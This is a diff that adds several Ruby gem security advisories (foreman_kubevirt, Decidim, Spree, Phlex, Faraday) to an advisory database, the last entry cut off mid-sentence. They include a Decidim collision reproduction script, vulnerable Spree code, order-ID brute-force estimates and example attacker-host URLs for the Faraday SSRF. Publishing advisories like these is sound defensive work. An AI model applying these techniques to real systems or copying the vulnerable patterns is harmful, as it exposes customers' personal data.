+ - https://github.com/fog/fog-kubevirt/blob/8adb03e07972d6e19a7713ecf2a827aa2cfe4b9e/CHANGELOG.md?plain=1#L11
+ - https://github.com/fog/fog-kubevirt/pull/168
+ - https://github.com/fog/fog-kubevirt/commit/8371e9ded99f9ec3e74caf2f283836109763e450
+ - https://github.com/fog/fog-kubevirt/commit/9603d79a239a0f68bedfc679cd1b65fbf6ec4753
+ - https://access.redhat.com/security/cve/CVE-2026-1530
+ - https://bugzilla.redhat.com/show_bug.cgi?id=2433784
+ - https://github.com/advisories/GHSA-m3hq-3qj8-c5fm
+---
diff --git a/advisories/_posts/2026-02-02-CVE-2026-1531.md b/advisories/_posts/2026-02-02-CVE-2026-1531.md
new file mode 100644
index 00000000..53340170
--- /dev/null
+++ b/advisories/_posts/2026-02-02-CVE-2026-1531.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2026-1531 (foreman_kubevirt): foreman_kubevirt disables SSL verification
+ if a Certificate Authority (CA) certificate is not explicitly set'
+comments: false
+categories:
+- foreman_kubevirt
+advisory:
+ gem: foreman_kubevirt
+ cve: 2026-1531
+ ghsa: 2qxw-7fmx-gqfm
+ url: https://access.redhat.com/security/cve/CVE-2026-1531
+ title: foreman_kubevirt disables SSL verification if a Certificate Authority (CA)
+ certificate is not explicitly set
+ date: 2026-02-02
+ description: |-
+ A flaw was found in foreman_kubevirt. When configuring the connection
+ to OpenShift, the system disables SSL verification if a Certificate
+ Authority (CA) certificate is not explicitly set. This insecure
+ default allows a remote attacker, capable of intercepting network
+ traffic between Satellite and OpenShift, to perform a Man-in-the-Middle
+ (MITM) attack. Such an attack could lead to the disclosure or
+ alteration of sensitive information.
+ cvss_v3: 8.1
+ patched_versions:
+ - ">= 0.4.3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-1531
+ - https://github.com/theforeman/foreman_kubevirt/commit/6c9973ee59c6fbec65f165eb9ea9dd4ebb6eeef1
+ - https://access.redhat.com/security/cve/CVE-2026-1531
+ - https://bugzilla.redhat.com/show_bug.cgi?id=2433786
+ - https://github.com/advisories/GHSA-2qxw-7fmx-gqfm
+---
diff --git a/advisories/_posts/2026-02-03-CVE-2025-65017.md b/advisories/_posts/2026-02-03-CVE-2025-65017.md
new file mode 100644
index 00000000..d2f1fa57
--- /dev/null
+++ b/advisories/_posts/2026-02-03-CVE-2025-65017.md
@@ -0,0 +1,140 @@
+---
+layout: advisory
+title: 'CVE-2025-65017 (decidim): Decidim''s private data exports can lead to data
+ leaks'
+comments: false
+categories:
+- decidim
+advisory:
+ gem: decidim
+ cve: 2025-65017
+ ghsa: 3cx6-j9j4-54mp
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-3cx6-j9j4-54mp
+ title: Decidim's private data exports can lead to data leaks
+ date: 2026-02-03
+ description: |-
+ ### Impact
+
+ Private data exports can lead to data leaks in cases where the UUID
+ generation causes collisions for the generated UUIDs.
+
+ The bug was introduced by #13571 and affects Decidim versions 0.30.0
+ or newer (currently 2025-09-23).
+
+ This issue was discovered by running the following spec several
+ times in a row, as it can randomly fail due to this bug:
+
+ ```bash
+ $ cd decidim-core
+ $ for i in {1..10}; do bundle exec rspec
+ spec/jobs/decidim/download_your_data_export_job_spec.rb
+ -e "deletes the" || break ; done
+ ```
+
+ Run the spec as many times as needed to hit a UUID that converts
+ to `0` through `.to_i`.
+
+ The UUID to zero conversion does not cause a security issue but
+ the security issue is demonstrated with the following example.
+
+ The following code regenerates the issue by assigning a predefined
+ UUID that will generate a collision (example assumes there are
+ already two existing users in the system):
+
+ ```ruby
+ # Create the ZIP buffers to be stored
+ buffer1 = Zip::OutputStream.write_buffer do |out|
+ out.put_next_entry("admin.txt")
+ out.write "Hello, admin!"
+ end
+ buffer1.rewind
+ buffer2 = Zip::OutputStream.write_buffer do |out|
+ out.put_next_entry("user.txt")
+ out.write "Hello, user!"
+ end
+ buffer2.rewind
+
+ # Create the private exports with a predefined IDs
+ user1 = Decidim::User.find(1)
+ export = user1.private_exports.build
+ export.id = "0210ae70-482b-4671-b758-35e13e0097a9"
+ export.export_type = "download_your_data"
+ export.file.attach(io: buffer1, filename: "foobar.zip",
+ content_type: "application/zip")
+ export.expires_at = Decidim.download_your_data_expiry_time.from_now
+ export.metadata = {}
+ export.save!
+
+ user2 = Decidim::User.find(2)
+ export = user2.private_exports.build
+ export.id = "0210d2df-a0c7-40aa-ad97-2dae5083e3b8"
+ export.export_type = "download_your_data"
+ export.file.attach(io: buffer2, filename: "foobar.zip",
+ content_type: "application/zip")
+ export.expires_at = Decidim.download_your_data_expiry_time.from_now
+ export.metadata = {}
+ export.save!
+ ```
+
+ Expect to see an error in the situation.
+
+ Now, login as user with ID 1, go to `/download_your_data`, click
+ "Download file" from the export and expect to see the data that
+ should be attached to user with ID 2. This is an artificially
+ replicated situation with the predefined UUIDs but it can easily
+ happen in real situations.
+
+ The reason for the test case failure can be replicated in case
+ you change the export ID to
+ `export.id = "e9540f96-9e3d-4abe-8c2a-6c338d85a684"`.
+ This would return `0` through `.to_s`
+
+ After attaching that ID, you can test if the file is available
+ for the export:
+
+ ```ruby
+ user.private_exports.last.file.attached?
+ => false
+ user.private_exports.last.file.blob
+ => nil
+ ```
+
+ Note that this fails with such UUID as shown in the example and
+ could easily lead to collisions in case the UUID starts with a
+ number. E.g. UUID `"0210ae70-482b-4671-b758-35e13e0097a9"` would
+ convert to `210` through `.to_s`. Therefore, if someone else has
+ a "private" export with the prefixes "00000210", "0000210",
+ "000210", "00210", "0210" or "210", that would cause a collision
+ and the file could be attached to the wrong private export.
+
+ Theoretical chance of collision (the reality depends on the
+ UUID generation algorithm):
+
+ - Potential combinations of the UUID first part (8 characters hex): 16^8
+ - Potentially colliding character combinations (8 numbers
+ characters in the range of 0-9): 10^8
+ - 10^8 / 16^8 ≈ 2.3 (23 / 1000 users)
+
+ The root cause is that the class `Decidim::PrivateExport` defines
+ an ActiveStorage relation to `file` and the table
+ `active_storage_attachments` stores the related `record_id` as
+ `bigint` which causes the conversion to happen.
+
+ ### Workarounds
+
+ Fully disable the private exports feature until a patch is available.
+ cvss_v4: 8.2
+ unaffected_versions:
+ - "< 0.30.0"
+ patched_versions:
+ - "~> 0.30.4"
+ - ">= 0.31.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-65017
+ - https://github.com/decidim/decidim/security/advisories/GHSA-3cx6-j9j4-54mp
+ - https://github.com/decidim/decidim/releases/tag/v0.31.0
+ - https://github.com/decidim/decidim/releases/tag/v0.30.4
+ - https://github.com/decidim/decidim/pull/13571
+ - https://github.com/advisories/GHSA-3cx6-j9j4-54mp
+---
diff --git a/advisories/_posts/2026-02-05-CVE-2026-25757.md b/advisories/_posts/2026-02-05-CVE-2026-25757.md
new file mode 100644
index 00000000..5f9fe89e
--- /dev/null
+++ b/advisories/_posts/2026-02-05-CVE-2026-25757.md
@@ -0,0 +1,90 @@
+---
+layout: advisory
+title: 'CVE-2026-25757 (spree_storefront): Unauthenticated Spree Commerce users can
+ view completed guest orders by Order ID'
+comments: false
+categories:
+- spree_storefront
+advisory:
+ gem: spree_storefront
+ cve: 2026-25757
+ ghsa: p6pv-q7rc-g4h9
+ url: https://github.com/spree/spree/security/advisories/GHSA-p6pv-q7rc-g4h9
+ title: Unauthenticated Spree Commerce users can view completed guest orders by Order
+ ID
+ date: 2026-02-05
+ description: |-
+ ### Unauthenticated users can view completed guest orders by Order ID (`GHSL-2026-029`)
+
+ The `OrdersController#show` action permits viewing completed
+ guest orders by order number alone, without requiring the
+ associated order token.
+
+ Order lookup without enforcing token requirement in
+ [`OrdersController#show`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L14):
+
+ ```ruby
+ @order = complete_order_finder.new(number: params[:id],
+ token: params[:token], store: current_store).execute.first
+ ```
+
+ Authorization bypass for guest orders in [`authorize_access`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L51C1-L55C8):
+
+ ```ruby
+ def authorize_access
+ return true if @order.user_id.nil?
+
+ @order.user == try_spree_current_user
+ end
+ ```
+
+ If the attacker is in possession of a leaked Order ID, they might
+ look it up directly via this API.
+ Alternatively, brute forcing all or parts of the possible Order IDs
+ might be feasible for an attacker. (The Order IDs themselves are
+ [securely generated](https://github.com/spree/spree/blob/a878eb4a782ce0445d218ea86fb12075b0e3d7cc/core/lib/spree/core/number_generator.rb#L45),
+ but with relatively low entropy: by default an order ID has a length
+ of 9 and a base of 10, that would require an attacker to perform
+ 1 billion requests to gather all guest orders. (At an assumed
+ constant rate of 100 requests per second it would take 115 days.)
+
+ #### Impact
+
+ This issue may lead to disclosure of PII of guest users
+ (including names, addresses and phone numbers).
+
+ #### CWEs
+
+ - CWE-639: Authorization Bypass Through User-Controlled Key
+
+ ### Credit
+
+ This issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent)
+ and manually verified by GHSL team members
+ [@p- (Peter Stöckli)](https://github.com/p-) and
+ [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).
+
+ ### Disclosure Policy
+
+ This report is subject to a 90-day disclosure deadline, as
+ described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
+ cvss_v4: 7.7
+ patched_versions:
+ - "~> 5.0.8"
+ - "~> 5.1.10"
+ - "~> 5.2.7"
+ - ">= 5.3.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-25757
+ - https://github.com/spree/spree/security/advisories/GHSA-p6pv-q7rc-g4h9
+ - https://github.com/spree/spree/commit/3e00be64c128ef4bd4b99731f0c3ab469509cfab
+ - https://github.com/spree/spree/commit/6b32ed7d474aa55fa441990e6aa39740152aa1be
+ - https://github.com/spree/spree/commit/6f6b8a7a28a8bff24a6e20eab04b4bbbdf39384d
+ - https://github.com/spree/spree/commit/ea4a5db590ca753dbc986f2a4e818d9e0edfb1ad
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L14
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L51C1-L55C8
+ - https://github.com/spree/spree/blob/a878eb4a782ce0445d218ea86fb12075b0e3d7cc/core/lib/spree/core/number_generator.rb#L45
+ - https://advisories.gitlab.com/pkg/gem/spree_storefront/CVE-2026-25757
+ - https://github.com/advisories/GHSA-p6pv-q7rc-g4h9
+---
diff --git a/advisories/_posts/2026-02-05-CVE-2026-25758.md b/advisories/_posts/2026-02-05-CVE-2026-25758.md
new file mode 100644
index 00000000..19cbbf5e
--- /dev/null
+++ b/advisories/_posts/2026-02-05-CVE-2026-25758.md
@@ -0,0 +1,106 @@
+---
+layout: advisory
+title: 'CVE-2026-25758 (spree_api): Unauthenticated Spree Commerce users can access
+ all guest addresses'
+comments: false
+categories:
+- spree_api
+advisory:
+ gem: spree_api
+ cve: 2026-25758
+ ghsa: 87fh-rc96-6fr6
+ url: https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6
+ title: Unauthenticated Spree Commerce users can access all guest addresses
+ date: 2026-02-05
+ description: |-
+ ### Summary
+
+ A critical IDOR vulnerability exists in Spree Commerce's guest
+ checkout flow that allows any guest user to bind arbitrary guest
+ addresses to their order by manipulating address ID parameters.
+ This enables unauthorized access to other guests' personally
+ identifiable information (PII) including names, addresses and
+ phone numbers. The vulnerability bypasses existing ownership
+ validation checks and affects all guest checkout transactions.
+
+ ### Impact
+
+ This issue may lead to disclosure of PII of guest users
+ (including names, addresses and phone numbers).
+
+ ### Unauthenticated users can access all guest addresses (`GHSL-2026-027`)
+
+ The vulnerability stems from incomplete authorization validation
+ in Spree's checkout address assignment logic. While nested address
+ attributes (`bill_address_attributes[id]` and
+ `ship_address_attributes[id]`) are properly validated through
+ `validate_address_ownership`, plain ID parameters (`bill_address_id`
+ and `ship_address_id`) bypass this check entirely. Since Spree's
+ address IDs are sequential numbers, an attacker might get all
+ guest addresses by simply enumerating over them.
+
+ ### Affected Code Components
+
+ 1. **Permitted Attributes** ([`core/lib/spree/permitted_attributes.rb:92–96`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96))
+ - Allows `bill_address_id` and `ship_address_id` as permitted
+ parameters without validation
+
+ 2. **Checkout Update** ([`core/app/models/spree/order/checkout.rb:241–254`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254))
+ - Applies permitted parameters directly to the Order model
+ via `update_from_params`
+
+ 3. **Incomplete Ownership Validation** ([`core/app/services/spree/checkout/update.rb:33–48`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48))
+ - `validate_address_ownership` only validates nested attributes structure
+ - Does NOT validate plain `bill_address_id`/`ship_address_id` fields
+
+ 4. **Vulnerable Assignment Logic** ([`core/app/models/spree/order/address_book.rb:16–23, 31–38`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38))
+ * [`bill_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L24)
+ * [`ship_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L31-L39)
+
+ Both setters check that: `address.user_id == order.user_id`. For
+ guest orders: nil == nil → TRUE ✓ (bypass!)
+
+ #### Impact
+
+ This issue may lead to disclosure of PII of guest users
+ (including names, addresses and phone numbers).
+
+ #### CWEs
+
+ - CWE-639: Authorization Bypass Through User-Controlled Key
+ - CWE-284: Improper Access Control
+
+ ### Credit
+
+ This issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent)
+ and manually verified by GHSL team members
+ [@p- (Peter Stöckli)](https://github.com/p-) and
+ [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).
+
+ ### Disclosure Policy
+
+ This report is subject to a 90-day disclosure deadline, as
+ described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
+ cvss_v4: 7.7
+ patched_versions:
+ - "~> 4.10.3"
+ - "~> 5.0.8"
+ - "~> 5.1.10"
+ - "~> 5.2.7"
+ - ">= 5.3.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-25758
+ - https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6
+ - https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734
+ - https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f
+ - https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8
+ - https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748
+ - https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96
+ - https://advisories.gitlab.com/pkg/gem/spree_api/CVE-2026-25758
+ - https://github.com/advisories/GHSA-87fh-rc96-6fr6
+---
diff --git a/advisories/_posts/2026-02-05-GHSA-87fh-rc96-6fr6.md b/advisories/_posts/2026-02-05-GHSA-87fh-rc96-6fr6.md
new file mode 100644
index 00000000..90c7c789
--- /dev/null
+++ b/advisories/_posts/2026-02-05-GHSA-87fh-rc96-6fr6.md
@@ -0,0 +1,104 @@
+---
+layout: advisory
+title: 'GHSA-87fh-rc96-6fr6 (spree_api): Unauthenticated Spree Commerce users can
+ access all guest addresses'
+comments: false
+categories:
+- spree_api
+advisory:
+ gem: spree_api
+ ghsa: 87fh-rc96-6fr6
+ url: https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6
+ title: Unauthenticated Spree Commerce users can access all guest addresses
+ date: 2026-02-05
+ description: |
+ ### Summary
+
+ A critical IDOR vulnerability exists in Spree Commerce's guest
+ checkout flow that allows any guest user to bind arbitrary guest
+ addresses to their order by manipulating address ID parameters.
+ This enables unauthorized access to other guests' personally
+ identifiable information (PII) including names, addresses and
+ phone numbers. The vulnerability bypasses existing ownership
+ validation checks and affects all guest checkout transactions.
+
+ ### Impact
+
+ This issue may lead to disclosure of PII of guest users (including
+ names, addresses and phone numbers).
+
+ ### Unauthenticated users can access all guest addresses (`GHSL-2026-027`)
+
+ The vulnerability stems from incomplete authorization validation
+ in Spree's checkout address assignment logic. While nested address
+ attributes (`bill_address_attributes[id]` and
+ `ship_address_attributes[id]`) are properly validated through
+ `validate_address_ownership`, plain ID parameters (`bill_address_id`
+ and `ship_address_id`) bypass this check entirely. Since Spree's
+ address IDs are sequential numbers, an attacker might get all
+ guest addresses by simply enumerating over them.
+
+ ### Affected Code Components
+
+ 1. **Permitted Attributes** ([`core/lib/spree/permitted_attributes.rb:92–96`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96))
+ - Allows `bill_address_id` and `ship_address_id` as permitted
+ parameters without validation
+
+ 2. **Checkout Update** ([`core/app/models/spree/order/checkout.rb:241–254`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254))
+ - Applies permitted parameters directly to the Order model
+ via `update_from_params`
+
+ 3. **Incomplete Ownership Validation** ([`core/app/services/spree/checkout/update.rb:33–48`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48))
+ - `validate_address_ownership` only validates nested attributes structure
+ - Does NOT validate plain `bill_address_id`/`ship_address_id` fields
+
+ 4. **Vulnerable Assignment Logic** ([`core/app/models/spree/order/address_book.rb:16–23, 31–38`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38))
+ * [`bill_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L24)
+ * [`ship_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L31-L39)
+
+ Both setters check that: `address.user_id == order.user_id`. For
+ guest orders: nil == nil → TRUE ✓ (bypass!)
+
+ #### Impact
+
+ This issue may lead to disclosure of PII of guest users (including
+ names, addresses and phone numbers).
+
+ #### CWEs
+
+ - CWE-639: Authorization Bypass Through User-Controlled Key
+ - CWE-284: Improper Access Control
+
+ ### Credit
+
+ This issue was discovered with the [GitHub Security Lab Taskflow
+ Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent)
+ and manually verified by GHSL team members
+ [@p- (Peter Stöckli)](https://github.com/p-) and
+ [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).
+
+ ### Disclosure Policy
+
+ This report is subject to a 90-day disclosure deadline, as
+ described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
+ patched_versions:
+ - "~> 4.10.3"
+ - "~> 5.0.8"
+ - "~> 5.1.10"
+ - "~> 5.2.7"
+ - ">= 5.3.2"
+ related:
+ url:
+ - https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6
+ - https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734
+ - https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f
+ - https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8
+ - https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748
+ - https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96
+ - https://github.com/advisories/GHSA-87fh-rc96-6fr6
+ notes: "- CVE-2026-25758 in GHSA Advisory.\n"
+---
diff --git a/advisories/_posts/2026-02-05-GHSA-p6pv-q7rc-g4h9.md b/advisories/_posts/2026-02-05-GHSA-p6pv-q7rc-g4h9.md
new file mode 100644
index 00000000..5f60c42d
--- /dev/null
+++ b/advisories/_posts/2026-02-05-GHSA-p6pv-q7rc-g4h9.md
@@ -0,0 +1,85 @@
+---
+layout: advisory
+title: 'GHSA-p6pv-q7rc-g4h9 (spree_storefront): Unauthenticated Spree Commerce users
+ can view completed guest orders by Order ID'
+comments: false
+categories:
+- spree_storefront
+advisory:
+ gem: spree_storefront
+ ghsa: p6pv-q7rc-g4h9
+ url: https://github.com/spree/spree/security/advisories/GHSA-p6pv-q7rc-g4h9
+ title: Unauthenticated Spree Commerce users can view completed guest orders by Order
+ ID
+ date: 2026-02-05
+ description: |
+ ### Unauthenticated users can view completed guest orders by Order ID (`GHSL-2026-029`)
+
+ The `OrdersController#show` action permits viewing completed
+ guest orders by order number alone, without requiring the
+ associated order token.
+
+ Order lookup without enforcing token requirement in [`OrdersController#show`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L14):
+
+ ```ruby
+ @order = complete_order_finder.new(number: params[:id],
+ token: params[:token], store: current_store).execute.first
+ ```
+
+ Authorization bypass for guest orders in [`authorize_access`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L51C1-L55C8):
+ ```ruby
+ def authorize_access
+ return true if @order.user_id.nil?
+
+ @order.user == try_spree_current_user
+ end
+ ```
+
+ If the attacker is in possession of a leaked Order ID, they might
+ look it up directly via this API.
+ Alternatively, brute forcing all or parts of the possible
+ Order IDs might be feasible for an attacker. (The Order IDs
+ themselves are [securely generated](https://github.com/spree/spree/blob/a878eb4a782ce0445d218ea86fb12075b0e3d7cc/core/lib/spree/core/number_generator.rb#L45),
+ but with relatively low entropy: by default an order ID has a
+ length of 9 and a base of 10, that would require an attacker to
+ perform 1 billion requests to gather all guest orders. (At an
+ assumed constant rate of 100 requests per second it would take 115 days.)
+
+ #### Impact
+
+ This issue may lead to disclosure of PII of guest users
+ (including names, addresses and phone numbers).
+
+ #### CWEs
+
+ - CWE-639: Authorization Bypass Through User-Controlled Key
+
+ ### Credit
+
+ This issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent)
+ and manually verified by GHSL team members
+ [@p- (Peter Stöckli)](https://github.com/p-) and
+ [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).
+
+ ### Disclosure Policy
+
+ This report is subject to a 90-day disclosure deadline, as
+ described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
+ patched_versions:
+ - "~> 5.0.8"
+ - "~> 5.1.10"
+ - "~> 5.2.7"
+ - ">= 5.3.2"
+ related:
+ url:
+ - https://github.com/spree/spree/security/advisories/GHSA-p6pv-q7rc-g4h9
+ - https://github.com/spree/spree/commit/3e00be64c128ef4bd4b99731f0c3ab469509cfab
+ - https://github.com/spree/spree/commit/6b32ed7d474aa55fa441990e6aa39740152aa1be
+ - https://github.com/spree/spree/commit/6f6b8a7a28a8bff24a6e20eab04b4bbbdf39384d
+ - https://github.com/spree/spree/commit/ea4a5db590ca753dbc986f2a4e818d9e0edfb1ad
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L14
+ - https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/storefront/app/controllers/spree/orders_controller.rb#L51C1-L55C8
+ - https://github.com/spree/spree/blob/a878eb4a782ce0445d218ea86fb12075b0e3d7cc/core/lib/spree/core/number_generator.rb#L45
+ - https://github.com/advisories/GHSA-p6pv-q7rc-g4h9
+ notes: "- CVE-2026-25757 in GHSA advisory.\n"
+---
diff --git a/advisories/_posts/2026-02-06-GHSA-w67g-2h6v-vjgq.md b/advisories/_posts/2026-02-06-GHSA-w67g-2h6v-vjgq.md
new file mode 100644
index 00000000..b80f5c22
--- /dev/null
+++ b/advisories/_posts/2026-02-06-GHSA-w67g-2h6v-vjgq.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'GHSA-w67g-2h6v-vjgq (phlex): Phlex XSS protection bypass via attribute splatting,
+ dynamic tags, and href values'
+comments: false
+categories:
+- phlex
+advisory:
+ gem: phlex
+ ghsa: w67g-2h6v-vjgq
+ url: https://github.com/yippee-fun/phlex/security/advisories/GHSA-w67g-2h6v-vjgq
+ title: Phlex XSS protection bypass via attribute splatting, dynamic tags, and href
+ values
+ date: 2026-02-06
+ description: |-
+ ### Impact
+
+ During a security audit conducted with Claude Opus 4.6 and GPT-5.3-Codex,
+ we identified three specific ways to bypass the XSS (cross-site-scripting)
+ protection built into Phlex.
+
+ 1. The first bypass could happen if user-provided attributes with
+ string keys were splatted into HTML tag, e.g. `div(**user_attributes)`.
+
+ 2. The second bypass could happen if user-provided tag names were
+ passed to the `tag` method, e.g. `tag(some_tag_name_from_user)`.
+
+ 3. The third bypass could happen if user’s links were passed to
+ `href` attributes, e.g. `a(href: user_provided_link)`.
+
+ All three of these patterns are meant to be safe and all
+ have now been patched.
+
+ ### Patches
+
+ Phlex has patched all three issues and introduced new tests that
+ run against Safari, Firefox and Chrome.
+
+ The patched versions are:
+
+ - [2.4.1](https://rubygems.org/gems/phlex/versions/2.4.1)
+ - [2.3.2](https://rubygems.org/gems/phlex/versions/2.3.2)
+ - [2.2.2](https://rubygems.org/gems/phlex/versions/2.2.2)
+ - [2.1.3](https://rubygems.org/gems/phlex/versions/2.1.3)
+ - [2.0.2](https://rubygems.org/gems/phlex/versions/2.0.3)
+ - [1.11.1](https://rubygems.org/gems/phlex/versions/1.11.1)
+
+ Phlex has also patched the [`main`](https://github.com/yippee-fun/phlex)
+ branch in GitHub.
+
+ ### Workarounds
+ If a project uses a secure CSP (content security policy) or if the
+ application doesn’t use any of the above patterns, it is not at risk.
+ cvss_v3: 7.1
+ patched_versions:
+ - "~> 1.11.1"
+ - "~> 2.0.2"
+ - "~> 2.1.3"
+ - "~> 2.2.2"
+ - "~> 2.3.2"
+ - ">= 2.4.1"
+ related:
+ url:
+ - https://github.com/yippee-fun/phlex/security/advisories/GHSA-w67g-2h6v-vjgq
+ - https://github.com/yippee-fun/phlex/commit/1d85da417cb15eb8cb2f54a68d531c9b35d9d03a
+ - https://github.com/yippee-fun/phlex/commit/556441d5a64ff93f749e8116a05b2d97264468ee
+ - https://github.com/yippee-fun/phlex/commit/74e3d8610ffabc2cf5f241945e9df4b14dceb97d
+ - https://github.com/yippee-fun/phlex/commit/9f56ad13bea9a7d6117fdfd510446c890709eeac
+ - https://github.com/yippee-fun/phlex/commit/fe9ea708672f9fa42526d9b47e1cdc4634860ef1
+ - https://advisories.gitlab.com/pkg/gem/phlex/GHSA-w67g-2h6v-vjgq
+ - https://github.com/advisories/GHSA-w67g-2h6v-vjgq
+---
diff --git a/advisories/_posts/2026-02-09-CVE-2026-25765.md b/advisories/_posts/2026-02-09-CVE-2026-25765.md
new file mode 100644
index 00000000..49f94ba1
--- /dev/null
+++ b/advisories/_posts/2026-02-09-CVE-2026-25765.md
@@ -0,0 +1,85 @@
+---
+layout: advisory
+title: 'CVE-2026-25765 (faraday): Faraday affected by SSRF via protocol-relative URL
+ host override in build_exclusive_url'
+comments: false
+categories:
+- faraday
+advisory:
+ gem: faraday
+ cve: 2026-25765
+ ghsa: 33mh-2634-fwr2
+ url: https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
+ title: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
+ date: 2026-02-09
+ description: |-
+ ### Impact
+
+ Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`)
+ uses Ruby's `URI#merge` to combine the connection's base URL with
+ a user-supplied path. Per RFC 3986, protocol-relative URLs
+ (e.g. `//evil.com/path`) are treated as network-path references
+ that override the base URL's host/authority component.
+
+ This means that if any application passes user-controlled input to
+ Faraday's `get()`, `post()`, `build_url()`, or other request
+ methods, an attacker can supply a protocol-relative URL like
+ `//attacker.com/endpoint` to redirect the request to an
+ arbitrary host, enabling Server-Side Request Forgery (SSRF).
+
+ The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts
